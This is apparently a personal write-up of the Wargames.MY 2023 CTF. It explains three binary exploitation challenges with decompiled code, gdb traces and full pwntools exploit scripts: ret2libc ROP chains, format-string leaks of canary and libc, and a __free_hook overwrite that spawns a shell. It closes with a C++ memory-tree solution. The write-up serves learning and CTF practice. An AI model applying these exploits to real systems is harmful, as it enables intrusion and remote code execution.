wgmy logo

Overview

I played in Wargames.MY 2023 ctf as a solo player, and managed to get first blood on all three of the pwn challs, as well as solve 1 ppc chall. Wargames.MY is pretty much the most famous Malaysian ctf currently, and some of my Malaysian ctf friends were talking to me about it, so I decided to give it a try.

All attachments can be found here

Magic Door (pwn)

magic_door first blood 🩸 checksec:

[*] '/home/vagrant/ctf/wgmy23/magic_door/magic_door'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

src.c
void open_the_door(void){
  int iVar1;
  char local_18 [12];
  int local_c;

  initialize();
  puts("Welcome to the Magic Door !");
  printf("Which door would you like to open? ");
  __isoc99_scanf("%11s",local_18);
  getchar();
  iVar1 = strcmp(local_18,"50015");
  if (iVar1 == 0) {
    no_door_foryou();
  }
  else {
    local_c = atoi(local_18);
    if (local_c == 50015) {
      magic_door(50015);
    }
    else {
      no_door_foryou();
    }
  }
  return;
}

void magic_door(void){
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;

  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  puts("Congratulations! You opened the magic door!");
  puts("Where would you like to go? ");
  fgets((char *)&local_48,0x100,stdin);
  return;
}

There is an obvious buffer overflow in the magic_door function, and since stack canary is disabled, a simple ret2libc will allow us to get a shell pretty quickly.

The tricky part is actually getting to the magic_door function call.
The program first asks which door you would like to open, and exits if you enter 50015. However, the program later checks to see if the door you want to open is 50015, and exits if its not.

So in other words, you can’t enter 50015, but you HAVE to enter 50015.
So how can you get past that? Negative numbers!

In memory, negative integers are stored in two’s complement form.
So -1 would be stored as 0xffffffff, -2 would be stored as 0xfffffffe, and so on.
So essentially,

-a in memory:
0x100000000 - a

So if we want 50015 to be in local_c, one way is we can enter 50015, and the other is by entering -(0x100000000-50015), which is -4294917281. This is so that the two’s complement of 4294917281, which is 0x100000000-4294917281=50015, will be stored in memory!

This way, we can pass both checks and get into the magic_door function.

To learn more about negative numbers in memory, you can look at this liveoverflow video or read this wikipedia page

After getting into the magic_door function, I just made a rop that leaks puts@got to leak libc, and then restart the program. Then I just used a ret2libc to get a shell.

The libc version that the server uses isn’t given in the handout, so in order to find it (so that I can accurately calculate function offsets correctly in my exploit), I leaked the puts@libc and printf@libc addresses on remote using puts@got and printf@got, and then used a libc database search to find the correct libc version

exploit.py
from pwn import *
#io = process("./magic_door",aslr=False)
io = remote("13.229.222.125",32837)
libc = ELF("./libc.so.6")

# gadgets
entry = p64(0x401190)
popRdi = p64(0x401434)
putsPlt = p64(0x4010e0)
putsGot = p64(0x404018)
ret = p64(0x401388)

io.sendlineafter(b"Which door would you like to open?",b"-4294917281")

# leak libc and restart binary 
rop  = b"A"*0x48
rop += popRdi + putsGot + putsPlt + entry
io.sendlineafter(b"Where would you like to go?",rop)

io.recv()
libc.address = u64(io.recv(6).ljust(8,b"\x00")) - libc.symbols["puts"]
log.info("LIBC BASE: " + hex(libc.address))


io.sendlineafter(b"Which door would you like to open?",b"-4294917281")

# I have to add a ret gadget to my rop to make the stack 64 bit aligned to prevent the movaps issue
# more on that here: https://ropemporium.com/guide.html 
rop  = b"A"*0x48
rop += ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

io.sendlineafter(b"Where would you like to go?",rop)
io.interactive()

Pak Mat Burger (pwn)

pakmat_burger first blood 🩸

checksec:

[*] '/home/vagrant/ctf/wgmy23/pakmat_burger/pakmat_burger'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

src.c
char * main(void){
  int iVar1;
  char *secret;
  long in_FS_OFFSET;
  char local_3e [9];
  char local_35 [10];
  char name [12];
  undefined local_1f [15];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  initialize();
  secret = getenv("SECRET_MESSAGE");
  if (secret == (char *)0x0) {
    puts("Error: SECRET_MESSAGE environment variable not set. Exiting...");
    secret = (char *)0x1;
  }
  else {
    puts("Welcome to Pak Mat Burger!");
    printf("Please enter your name: ");
    __isoc99_scanf("%11s",name);
    printf("Hi ");
    printf(name);
    printf(", to order a burger, enter the secret message: ");
    __isoc99_scanf("%8s",local_3e);
    iVar1 = strcmp(local_3e,secret);
    if (iVar1 == 0) {
      puts("Great! What type of burger would you like to order? ");
      __isoc99_scanf("%14s",local_1f);
      getchar();
      printf("Please provide your phone number, we will delivered soon: ");
      secret = fgets(local_35,100,stdin);
    }
    else {
      puts("Sorry, the secret message is incorrect. Exiting...");
      secret = (char *)0x0;
    }
  }

  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return secret;
}

There are two obvious vulnerabilities here, a format string vuln, and a buffer overflow vuln. Let’s look at the rest of the program first to see what we’re dealing with.

The program first gets the secret from an environment variable SECRET_MESSAGE

when testing locally, use export SECRET_MESSAGE="..." to set the SECRET_MESSAGE environment variable

Later on, the program asks for your name, and directly calls printf on it (this is where the format string vuln is). It then asks for the secret, and if you correctly input the secret, you get to write what type of burger you want, and your phone number (this is where the buffer overflow vuln is).

Since we can control the first argument of a printf(.,.,.) call, it means that we can use "%1$p" to print the second arg, and "%2$p" to print the third arg, and so on and so forth

So let’s see what we can leak using the format string vuln by breaking at the printf call and looking at the arguments.

I set the SECRET_MESSAGE env variable to “1337” locally

Breakpoint 1, 0x000055555555542a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x00007ffff7ea7a77  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe290  →  0x00007fffffffee15  →  0x4744580037333331 ("1337"?)
$rbp   : 0x00007fffffffe2d0  →  0x0000000000000001
$rsi   : 0x00007fffffffc170  →  "Hi ase enter your name: "
$rdi   : 0x00007fffffffe2ad  →  0x0000000000007025 ("%p"?)
$rip   : 0x000055555555542a  →  <main+182> call 0x555555555150 <printf@plt>
$r8    : 0x3
$r9    : 0x0
$r10   : 0x00005555555560a8  →  0x0000000000206948 ("Hi "?)
$r11   : 0x246
$r12   : 0x00007fffffffe3e8  →  0x00007fffffffe650  →  "/home/vagrant/ctf/wgmy23/pakmat_burger/pakmat_burg[...]"
$r13   : 0x0000555555555374  →  <main+0> endbr64
$r14   : 0x0000555555557d50  →  0x0000555555555280  →  <__do_global_dtors_aux+0> endbr64
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →   jg 0x555555554047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe290│+0x0000: 0x00007fffffffee15  →  0x4744580037333331 ("1337"?)  ← $rsp
0x00007fffffffe298│+0x0008: 0x0000000000000000
0x00007fffffffe2a0│+0x0010: 0x0000000000000000
0x00007fffffffe2a8│+0x0018: 0x0070250000000000
0x00007fffffffe2b0│+0x0020: 0x0000000000000000
0x00007fffffffe2b8│+0x0028: 0x0000000000000000
0x00007fffffffe2c0│+0x0030: 0x0000000000000000
0x00007fffffffe2c8│+0x0038: 0x4b9505916e213c00
────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555541e <main+170>       lea    rax, [rbp-0x23]
   0x555555555422 <main+174>       mov    rdi, rax
   0x555555555425 <main+177>       mov    eax, 0x0
 → 0x55555555542a <main+182>       call   0x555555555150 <printf@plt>
   ↳  0x555555555150 <printf@plt+0>   endbr64
      0x555555555154 <printf@plt+4>   bnd    jmp QWORD PTR [rip+0x2e25]        # 0x555555557f80 <printf@got.plt>
      0x55555555515b <printf@plt+11>  nop    DWORD PTR [rax+rax*1+0x0]
      0x555555555160 <alarm@plt+0>    endbr64
      0x555555555164 <alarm@plt+4>    bnd    jmp QWORD PTR [rip+0x2e1d]        # 0x555555557f88 <alarm@got.plt>
      0x55555555516b <alarm@plt+11>   nop    DWORD PTR [rax+rax*1+0x0]
────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x00007fffffffe2ad → 0x0000000000007025 ("%p"?),
   $rsi = 0x00007fffffffc170 → "Hi ase enter your name: ",
   $rdx = 0x0000000000000000
)

So since this is an x86_64 binary, we are following the x86_64 calling convention.

1st arg: stored in rdi
2nd arg: stored in rsi
3rd arg: stored in rdx
4th arg: stored in rcx
5th arg: stored in r8
6th arg: stored in r9

7th,8th,9th,... arg: stored at the top of the stack

to learn more abt this and also see how C programs work in assembly, watch this liveoverflow video

So looking at the gdb output, we can see that the secret is stored at the top of the stack, which can be accessed by accesing the 7th argument of the printf call. Since "%1$p" refers to the second argument, we can use "%6$s" to leak the secret.

After connecting to the server and leaking the secret multiple times, it can be seen that the secret stays the same through all connections. So you just have to leak it once, and you won’t have to leak it again in your following exploits.

the secret is e31c8306 btw

So cool! Now we can leak the secret. Well, what else can we leak? Let’s continue examining the stack.

gef➤  tele 0x00007fffffffe290
0x00007fffffffe290│+0x0000: 0x00007fffffffee15  →  0x4744580037333331 ("1337"?)  ← $rsp
0x00007fffffffe298│+0x0008: 0x0000000000000000
0x00007fffffffe2a0│+0x0010: 0x0000000000000000
0x00007fffffffe2a8│+0x0018: 0x0070250000000000
0x00007fffffffe2b0│+0x0020: 0x0000000000000000
0x00007fffffffe2b8│+0x0028: 0x0000000000000000
0x00007fffffffe2c0│+0x0030: 0x0000000000000000
0x00007fffffffe2c8│+0x0038: 0x4b9505916e213c00
0x00007fffffffe2d0│+0x0040: 0x0000000000000001   ← $rbp
0x00007fffffffe2d8│+0x0048: 0x00007ffff7dbcd90  →   mov edi, eax

gef➤  canary
[+] The canary of process 22462 is at 0x7ffff7d90768, value is 0x4b9505916e213c00

It seems like we can leak both the canary, and the libc using the format string vuln.
Doing some simple counting, we find out that %13$p can be used to leak the canary, and %15$p can be used to leak a libc address, which we can use to calculate the libc base, and later on calculate the address of system@libc and the "/bin/sh" string in libc.

I assumed that the libc used would be the same as the previous challenge, and it was indeed the same.

Since we know the canary, we can easily bypass the canary check.
And since we know the libc base address, we can just do a ret2libc with the buffer overflow.

exploit.py
from pwn import *
#io = process("pakmat_burger",aslr=False)
io = remote("13.229.222.125",32874)
libc = ELF("./libc.so.6")

#secret = b"1337"
secret = b"e31c8306"
io.sendlineafter(b"Please enter your name:",b"%15$p%13$p")
io.recvuntil(b"Hi ")
libc.address = int(io.recv(14).decode(),16) - 128 - 171280
log.info("LIBC BASE: " + hex(libc.address))

canary = int(io.recv(18).decode(),16)
log.info("CANARY: " + hex(canary))

#gdb.attach(io,gdbscript="break *0x5555555554fe")
io.sendlineafter(b"enter the secret message:",secret)
io.sendlineafter(b"order?",b"abcd")

# gadgets found in libc
popRdi = p64(libc.address + 0x2a3e5)
ret = p64(libc.address + 0x2a3e6)

rop  = b"A"* 37 + p64(canary) + b"A"*8
rop += ret + popRdi + p64(next(libc.search(b"/bin/sh"))) + p64(libc.symbols["system"])

io.sendlineafter(b"soon:",rop)

io.interactive()

Free Juice (pwn)

free_juice first blood 🩸

checksec:

[*] '/home/vagrant/ctf/wgmy23/free_juice/free_juice'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

src.c
undefined8 main(void){
  int local_c;
  
  initialize();
  do {
    displayMenu();
    printf("Enter your choice: ");
    __isoc99_scanf("%d",&local_c);
    if (local_c == 3) {
      drinkJuices();
    }
    else {
      if (local_c < 4) {
        if (local_c == 1) {
          chooseJuices();
        }
        else {
          if (local_c == 2) {
            refillJuices();
          }
          else {
LAB_00100fff:
            puts("Invalid choice. Please try again.");
          }
        }
      }
      else {
        if (local_c == 4) {
          puts("Exiting...");
        }
        else {
          if (local_c != 0x539) goto LAB_00100fff;
          secretJuice();
        }
      }
    }
    if (local_c == 4) {
      return 0;
    }
  } while( true );
}

void chooseJuices(void){
  int local_c;

  displayAvailableJuices();
  printf("Enter the number of the chosen juice (1-5): ");
  __isoc99_scanf("%d",&local_c);
  if ((local_c < 1) || (5 < local_c)) {
    puts("Invalid selection. Please try again.");
  }
  else {
    chosenJuice = malloc(0x114);
    if (chosenJuice == (char *)0x0) {
      perror("Error allocating memory");
      exit(1);
    }
    strcpy(chosenJuice,availableJuices + (long)(local_c + -1) * 0x114);
    *(chosenJuice + 0x100) = *(&DAT_00302120 + (long)(local_c + -1) * 0x114);
    strcpy(chosenJuice + 0x104,s_Orange_00302124 + (long)(local_c + -1) * 0x114);
    printf("You chose %s juice.\n",chosenJuice);
  }
  return;
}

void displayAvailableJuices(void){
  int local_c;

  puts("Available Juices:");
  local_c = 0;
  while (local_c < 5) {
    printf("%d. %s\n",(ulong)(local_c + 1),availableJuices + (long)local_c * 0x114);
    local_c = local_c + 1;
  }
  return;
}

void refillJuices(void){
  if (chosenJuice == 0) {
    puts("Please choose a juice first.");
  }
  else {
    printf("Enter the quantity to refill: ");
    __isoc99_scanf("%d",chosenJuice + 0x100);
    puts("Juice refilled!");
  }
  return;
}

void drinkJuices(void){
  if (chosenJuice == (void *)0x0) {
    puts("Please choose a juice first.");
  }
  else {
    puts("Enjoy the refreshing experience of your chosen juice. Cheers! ");
    putchar(10);
    free(chosenJuice);
    chosenJuice = (void *)0x0;
  }
  return;
}


void secretJuice(void){
  // option 1337
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (chosenJuice == (char *)0x0) {
    puts("Please choose a juice first.");
  } else {
    puts("Let us know what juices you need and we will get back to you!");
    __isoc99_scanf("%256s",local_118);
    printf("Current Juice : ");
    printf(local_118);
    strncpy(chosenJuice,local_118,0xff);
    chosenJuice[0xff] = '\0';
    putchar(10);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

libc-2.23.so is given for this chall

This looks like a classic heap pwn challange.

You can essentially
1. allocate 0x120 chunks
2. free the chunk above wilderness
3. overflow the chunk above wilderness, and leak stuff using option 1337

The only tricky part of this challenge is that you can’t free whichever chunk you want, you can only free the chunk above wilderness, which makes us essentially not be able to put any chunk into the bins, since the chunk will consolidate with the wilderness when it is freed.

These conditions and the libc version made me think of House of Orange. Also, the challenge context, specifically “Orange juice”, confirmed my assumption that the intended solution requires a House of Orange attack.

We also have all the requirements needed to perform a House of Orange attack.

1. we have a heap overflow that can overwrite the top chunk
2. we have a libc and heap infoleak using the format string vuln

As I was thinking of how to execute this attack on this challenge, it suddenly came to me, that I can actually just pwn this binary by solely using the format string vuln. I mean think about it, we can use option 1337 as many times as we want, meaning that we can use the format string vuln as many times as we want, meaning we have unlimited arbitary overwrites.

for a short minute I thought this exploit wouldn’t work since it reads in strings and I can’t write the packed 64 bit address as it contains null bytes, but then I realised you could just put the address at the end of the format string payload. lol

What I did in the end was just leaking libc, and then overwriting __free_hook with system@libc, and writing "/bin/sh" into my juice, and freeing it.

exploit.py
from pwn import *
#io = process("./free_juice")
io = remote("13.229.222.125",33156)
libc = ELF("./libc-2.23.so")

def chooseJuice():
    io.sendlineafter(b"Enter your choice:",b"1")
    io.sendlineafter(b"(1-5):",b"1")

def secretJuice(a):
    io.sendlineafter(b"Enter your choice:",b"1337")
    io.sendlineafter(b"you!",a)

def drinkJuice():
    io.sendlineafter(b"Enter your choice:",b"3")

chooseJuice()

# leak libc
secretJuice(b"%13$p")
io.recvuntil(b": ")
libc.address = int(io.recv(14).decode(),16) - 271 - libc.symbols["__isoc99_scanf"]
log.info("LIBC BASE: " + hex(libc.address))

# cheese the chall
# overwrite __free_hook with system
system = p64(libc.symbols["system"])[:-2]
freehook = libc.symbols["__free_hook"]
log.info("system@libc: " + hex(libc.symbols["system"]))
log.info("__free_hook: " + hex(libc.symbols["__free_hook"]))

for i in system:
    formatstr  = b"%" + str(i).rjust(3,"0").encode() + b"c"
    formatstr += b"%8$hhn"
    formatstr  = formatstr.ljust(16,b"A")
    formatstr += p64(freehook)[:-2]
    secretJuice(formatstr)
    freehook += 1


secretJuice(b"/bin/sh;")
drinkJuice()
io.interactive()

Alternative solutions

I’m pretty sure that the intended solution for this chall is to use a House of Orange attack, so I think I kinda cheesed it lol. But granted that the heap overflow primitive is so strong, and we can leak everything we want, I think the execution of the attack should be quite straighforward, and can be done by just following the how2heap House of Orange writeup.

the only part you have to change from the how2heap writeup is prob just the part where it calculates the new wilderness size.

Other ways that I think this chall could be solved:

  1. Abusing exit handlers (more on this on my previous blog post, and this article)
  2. Overwriting the jump table ptr in stdin/stdout/stderr. (I’m pretty sure this will work since the mitigation that checks the address of the vtable before virtual functions are called is added in gilbc 2.24)
  3. Copying the exploit strategy of House of Orange, and forge a fake _IO_FILE struct, place it in _IO_list_all using format string vuln, and cause malloc_printerr to run

Linux Memory Usage (ppc)

The problem simplified was essentially (worded by myself):

You are given N processes, and you are given its 
1. pid
2. ppid
3. memory used

For each query, you have to give the total memory used by the process, which is its own memory used plus all the memory used by its children 

My approach is quite straightforward.
I made a Process class in cpp, which had the properties pid,ppid,mem, and children, which is a vector. I also made a hashmap to store all the Process objects.

The Process class also has a recursive method called Process.memUsed(), which adds up its own mem used with all the mem its children used. To find the mem used by its children, child.memUsed() is called (which is why I say the method is recursive)

However, this solution isn’t fast enough, and will exceed the limit.
So to solve this, I made a new property in the Process class called totalmem, and store the value calculated by Process.memUsed() in it. This way if memUsed() is called upon the same Process object multiple times, the method won’t have to repeatedly find out the total memory, and can just use the value stored in totalmem.

solve.cpp
#include <bits/stdc++.h>

using namespace std;

class Process {
    public:
        int pid;
        int ppid;
        int mem;
        int totalmem = 0;
        vector<Process*> children;

        Process(){
            pid = 0;
            ppid = 0;
            mem = 0;
        }

        Process(int a, int b, int c){
            pid = a;
            ppid = b;
            mem = c;
        }

        int memUsed(){
            if (totalmem != 0){
                // this has alr been calculated
                return totalmem;
            }
            int total = mem;
            for (Process* child : children){
                total += child->memUsed();
            }

            totalmem = total;
            return total;
        }
};

int main(){
    int n,q;
    cin >> n >> q;

    int a,b,c;
    unordered_map <int,Process*> hashmap;

    for (int i = 0; i < n; i++) {
        cin >> a >> b >> c;

        Process *current = new Process(a,b,c);
        hashmap.insert({a,current});

        if (b != 0)
            hashmap[b]->children.push_back(current);
    }

    int pid;
    for (int i = 0; i < q; i++){
        cin >> pid;
        cout << hashmap[pid]->memUsed() << endl;
    }

    return 0;
}

Conclusion

Overall, I think its not a bad ctf for ctf beginners (for pwn at least) since the challs aren’t too easy and aren’t rly that hard, so beginners will actually feel challenged when solving them, but will be able to solve them and learn a lot along the way if they do enough research and well, spend enough time on them. And even if they don’t solve them, a lot is still learned in the end, which at the end of the day, is still a huge W.

The organisers said that they tried to up the difficulty of the challenges this year compared to last year so that Malaysia students can improve and can compete in the international level and tbh I think that’s great! Respect to the organisers for trying to build up the Malaysian ctf scene and I wish nothing but the best for them. Hope that I can do the same and help build the Malaysian ctf community in some way in the future as well.

Hope that there are more pwn challs next year tho since there were like 8 web challs and only 3 pwn challs. I couldn’t rly do anything else after blooding the pwn challs and solving the ppc chall since I’m too noob at crypto and rev, and I hate dislike doing web (ig this is a personal skill issue). But all in all, gg!